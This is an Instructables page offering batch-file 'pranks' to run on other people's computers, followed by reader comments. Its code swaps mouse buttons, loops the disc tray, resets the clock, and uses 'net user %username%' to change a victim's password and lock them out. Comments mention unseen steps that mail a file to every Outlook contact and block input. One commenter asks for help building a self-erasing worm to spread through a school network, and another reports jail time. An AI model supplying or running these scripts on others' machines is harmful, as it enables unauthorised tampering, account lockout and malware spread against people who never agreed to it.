A Collection of Batch Computer Pranks

Picture of A Collection of Batch Computer Pranks
Due to the large amount of instructables I have seen here that detail ways to make batch file "Viruses", often times using the exact same code, I'm making this 'ible to show a comprehensive list of the ones that I know. Keep in mind, some of these can actually be dangerous if used, so be careful!

Some of these aren't exactly "pranks", and should only be looked at for educational purposes.

Disclaimer: I am not responsible if you wreck somebody's $2,000 water-cooled super awesome gaming computer, be it for a silly grudge, or accidental, using the code shown in this instructable.
Remove these adsRemove these ads by Signing Up

Step 1: Making a Batch File

Picture of Making a Batch File
So, in order to input the code described later, you're going to actually need a place to put it. For Batch, you can use the command prompt by going to start>run>cmd.exe, or making a ".bat" file in notepad. Make sure to save it as all files and with a ".bat" extension.

Step 2: Swapping the Mouse Keys

Picture of Swapping the Mouse Keys
One of the simplest pranks, best used in conjunction with another. All it does is swap the right and left buttons on your mouse.


@ echo off
rem ---------------------------------
rem Swap Mouse Buttons
RUNDLL32 USER32.DLL,SwapMouseButton
rem ---------------------------------

Keep in mind that "@ echo off" is only needed once at the beginning of the file.

Step 3: Changing the Password

Picture of Changing the Password
So, you want to change the password for the user that someone just logged as so they can't log in again without you? Here's the code.


@ echo off
rem ---------------------------------
rem Change User Password To "Put password here without quotes"
net user %username% "Username without quotes"
rem --------------------------------

Step 4: Possessed Disk Tray

Picture of Possessed Disk Tray
This one opens and closes the disk tray, use it to make someone think the tray is busted.


@ echo off
rem ---------------------------------
rem Start Opening Disk Tray
echo Do >> "opendisk.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "opendisk.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo colCDROMs.Item(d).Eject >> "opendisk.vbs"
echo Loop >> "opendisk.vbs"
start "" "opendisk.vbs"
rem ---------------------------------

Step 5: Reset the Clock

Picture of Reset the Clock
Self explanatory, resets the computer clock.


@ echo off
rem ---------------------------------
rem Change Computer Time
time 12:00
rem ---------------------------------
1-40 of 50Next »
kimips7 months ago
you mean we can't boot our PC anymore?

the only way to fix this is to completely wipe the hard drive... I think

ah, i see. Thanks!

mangomango1 year ago
how do you re-enable? restarting did not fix

uh oh....

kimips7 months ago
what does this do? shut down the computer? will I be able to boot it afterwards?
kimips7 months ago
does restarting fix it?
kimips7 months ago
restarting fixes it, right?
Stan20007 months ago
Dude, you saved me half a year of time, you are just awesom
modsplay1 year ago
good thing i dont have a outlook or any contacts
how would i get the keyboard back?
You can just go into task manager>process, and find wscript.exe and end that process.
Thanks, I just got out of JAIL today. It turns out the internet this is illegal :/ i did it to my school.
DCFIGHTER1 year ago
cool virus
i am trying to make a really big one that i can unleash into my school in 2014 on the last day of my schooling years
i don't have full admin privileges but more then most of the school as i was able to crack the password for my system. I am trying to make one that can be messaged throughout the whole network or piggy back through the internet and that will turn all users into admin delete a few files and will erase itself leaving no trace behind

could you possibly help me out with this??

Allurisk2 years ago
You wrecked my $2000 water-cooled super awesome gaming computer. Lol
Hey man XD... i really appreciate all these codes XDD... But i have one certain problem. Right now i have this code:

@echo on


color 02

prompt Hi, You Have Been SCAMMED XD

start  color 0c


prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD

prompt Hi, You Have Been SCAMMED XD


rem ---------------------------------

rem Self Destruct

del /f /q %0

rem ---------------------------------

goto top


(the pause is so to not destroy my computer whilst modding it XD)


My idea for this, is to open command prompt (pretend to be deleting stuff...), then open up another 8 command prompts (make them look like the one before, scrolling and pretend to delete stuff) and repeat the process....

will4212 years ago
Does it fix on restart?
LiquidLightning (author)  will4212 years ago
I wouldn't recommend trying it.
will4212 years ago
I might use these as temp files for a exe so I can demonstrate the dangers of a virus in school. :P
LiquidLightning (author)  will4212 years ago
I think the school will apreciate the demonstration. lol
weemanrd2 years ago
I've tried using this, but every time i try, an error message comes up saying invalid character, line 1, character 1
will4212 years ago
I tried this virus with a fake Outlook Account, and Trend Micro said this was the HitOut virus. XP
LiquidLightning (author)  will4212 years ago
Lol the mechanism action is basically the same between the two.
will4212 years ago
Shouldn't you associate some crazy file type with exe, then have it use the list to copy, rename, and place into a hidden directory, then edit the file by taking %0, removing .exe, then adding the type on the end, and then use that so the file runs afterwards?
How do you reconect the internet?
LiquidLightning (author)  Kingfisher1112 years ago
will4212 years ago
I'm gonna use this. Put it all together (well, most of it) to make a mega virus with some other touches (once it's done it blocks input, turns up the volume and goes to to send to danooct1!
122boy2 years ago
cool this all goes to a ,bat file extenction
LiquidLightning (author)  122boy2 years ago
jmarri3 years ago
@#$%! I don't want to mess with you...
______ jmarri2 years ago
Same here dude
kalman983 years ago
How do you make it stop?????It is driving me CRAZY!!!!!
LiquidLightning (author)  kalman983 years ago
Restart your computer.
Thank you!
Electron2293 years ago
so it doesnt do anything to my computer?
LiquidLightning (author)  Electron2293 years ago
It will make whatever file this script is embedded in get sent out to all of the contacts in microsoft outlook on the computer it is executed on.
6koko3 years ago
Can you switch the mouse buttons back later?
LiquidLightning (author)  6koko3 years ago
Yes, just go into control panel and under the mouse category there should be an option to swap them. Just un-check the box.
yasin1213 years ago
how whould you do it for cod
1-40 of 50Next »

Get More Out of Instructables

Already have an Account?


PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!